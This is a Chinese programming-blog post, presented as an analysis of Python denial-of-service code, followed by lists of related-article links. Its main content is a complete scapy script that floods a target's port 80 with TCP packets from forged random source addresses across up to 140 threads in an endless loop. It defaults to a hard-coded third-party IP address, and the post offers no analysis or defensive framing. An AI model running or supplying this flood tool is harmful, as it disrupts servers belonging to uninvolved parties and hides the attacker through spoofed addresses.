分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
Python 列表list使用介绍
Nov 30 Python
给Python入门者的一些编程建议
Jun 15 Python
python开发中range()函数用法实例分析
Nov 12 Python
使用Python监控文件内容变化代码实例
Jun 04 Python
Python清空文件并替换内容的实例
Oct 22 Python
python+opencv 读取文件夹下的所有图像并批量保存ROI的方法
Jan 10 Python
Python3 导入上级目录中的模块实例
Feb 16 Python
人工神经网络算法知识点总结
Jun 11 Python
自定义Django Form中choicefield下拉菜单选取数据库内容实例
Mar 13 Python
python实现飞船游戏的纵向移动
Apr 24 Python
Python使用pyexecjs代码案例解析
Jul 13 Python
python安装第三方库如xlrd的方法
Oct 31 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
PHP的几个常用数字判断函数代码
2012/04/24 PHP
php实现递归与无限分类的方法
2015/02/16 PHP
Linux php 中文乱码的快速解决方法
2016/05/13 PHP
php将文件夹打包成zip文件的简单实现方法
2016/10/04 PHP
ExtJS4 组件化编程,动态加载,面向对象,Direct
2011/05/12 Javascript
自定义jQuery选项卡插件实例
2013/03/27 Javascript
原生JavaScript生成GUID的实现示例
2014/09/05 Javascript
js进行表单验证实例分析
2015/02/10 Javascript
jQuery简单实现日历的方法
2015/05/04 Javascript
最新最热最实用的15个jQuery插件汇总
2015/07/05 Javascript
Vue响应式添加、修改数组和对象的值
2017/03/20 Javascript
简单实现js放大镜效果
2017/07/24 Javascript
微信小程序返回多级页面的实现方法
2017/10/27 Javascript
Vue.js 实现微信公众号菜单编辑器功能(一)
2018/05/08 Javascript
VUE脚手架的下载和配置步骤详解
2019/04/01 Javascript
基于ant design日期控件使用_仅月份的操作
2020/10/27 Javascript
antd-日历组件,前后禁止选择,只能选中间一部分的实例
2020/10/29 Javascript
JavaScript canvas实现雨滴特效
2021/01/10 Javascript
[02:32]“虐狗”镜头慎点 2016国际邀请赛中国区预选赛现场玩家采访
2016/06/28 DOTA
对于Python编程中一些重用与缩减的建议
2015/04/14 Python
利用python打印出菱形、三角形以及矩形的方法实例
2017/08/08 Python
Python返回数组/List长度的实例
2018/06/23 Python
python 通过手机号识别出对应的微信性别(实例代码)
2019/12/22 Python
如何清空python的变量
2020/07/05 Python
Trip.com香港网站:Ctrip携程旗下,全球最大的网上旅游社之一
2016/08/01 全球购物
关于VPN
2012/06/10 面试题
四年的个人工作自我评价
2013/12/10 职场文书
八年级音乐教学反思
2014/01/09 职场文书
运动会入场口号
2014/06/07 职场文书
学习焦裕禄同志为人民服务思想汇报
2014/09/10 职场文书
会议欢迎词范文
2015/01/27 职场文书
导游词之上海东方明珠塔
2019/09/25 职场文书
Python 中的单分派泛函数你真的了解吗
2021/06/22 Python
Mysql数据库中datetime、bigint、timestamp来表示时间选择,谁来存储时间效率最高
2021/08/23 MySQL
Python学习之时间包使用教程详解
2022/03/21 Python
为自由献出你的心脏!「进击的巨人展 FINAL」2022年6月在台开展
2022/04/13 日漫